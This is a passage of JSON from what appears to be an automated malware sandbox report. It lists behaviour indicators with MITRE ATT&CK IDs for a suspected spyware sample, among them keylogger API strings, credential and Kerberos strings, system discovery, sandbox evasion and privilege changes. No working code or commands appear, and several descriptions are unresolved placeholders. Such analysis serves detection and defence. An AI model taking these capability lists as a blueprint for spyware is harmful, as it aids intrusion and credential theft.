strings","description":"Found string \"+ncalrpc:[OLE7F48D5956C1D3C34B5FA1DF46F79]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001560.00000000.171932.02FB0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE325F28BB2A9D7CF2C855CA1465A3]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLE325F28BB2A9D7CF2C855CA1465A3]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE2E77FCE695553FE6080EC5B0F8FE]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00001560.00000000.171932.02FB0000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"$66","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"GetKeyNameTextA\" (Indicator: \"GetKeyNameText\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"$68","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"april.tmp\" called \"GetComputerNameA\" (UID: 00000000-00007668)\n \"april.tmp\" called \"GetComputerNameW\" (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"april.tmp\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"april.tmp\" called \"GetUserNameA\" (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$69","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: is-KQJQP.tmp)\n Found GetCursorPos() in an import section (Source: april.tmp)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"InterlockedExchangeAdd\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"10451444748,2232,3024,,RtlGetVersion,NTDq\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"CsrGetProcessId\" (Indicator: \"GetProcessId\"; File: \"00000000-00007224.00000000.172329.00534000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$70","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001560.00000000.171932.728A1000.00000020.mdmp\")\n Found reference to API \"NdrDllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"Found string \"Enter password\" (Indicator: \"password\"; Source: \"00000000-00001560.00000000.171932.000C7000.00000002.mdmp\")\n Found string \"&Enter password for the encrypted file:\" (Indicator: \"password\"; Source: \"00000000-00001560.00000000.171932.000C7000.00000002.mdmp\")\n Found string \"Cannot create folder %sHChecksum error in the encrypted file %s. Corrupt file or wrong password.\" (Indicator: \"password\"; Source: \"00000000-00001560.00000000.171932.000C7000.00000002.mdmp\")\n Found string \"Unknown encryption method in %s$The specified password is incorrect.\" (Indicator: \"password\"; Source: \"00000000-00001560.00000000.171932.000C7000.00000002.mdmp\")\n Found string \"Incorrect password for %s\" (Indicator: \"password\"; Source: \"00000000-00001560.00000000.171932.000C7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 64666-780-0046E864\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 64666-2879-004651A8\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 64666-2965-0046AA8C","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"file/memory contains long string with (Indicator: \"[F7]\"; File: \"EasyApp.exe\")\n Found string \"N[F7]\" (Indicator: \"[F7]\"; Source: \"00000000-00001560.00000000.171932.056A4000.00000004.mdmp\")\n Found string \"N[F7]\" (Indicator: \"[F7]\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"EasyAppns.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \" Win32_ComputerSystem\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcess\"; File: \"is-AB0VE.tmp\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found string \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: april.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: flashdecompiler32.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: is-KQJQP.tmp]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: april.tmp]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: is-AB0VE.tmp]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00001560.00000000.171932.02FB0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00005760.00000000.171650.02E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$72","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"$73","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"$74","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$75","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$76","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"$77","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"SeCreateSymbolicLinkPrivilege\" (Indicator: \"SeCreateSymbolicLinkPrivilege\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"SeCreateSymbolicLinkPrivilege\" (Indicator: \"SeCreateSymbolicLinkPrivilege\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"InstallSetup_four.exe\" (Access type: \"CREATE\"; Path: 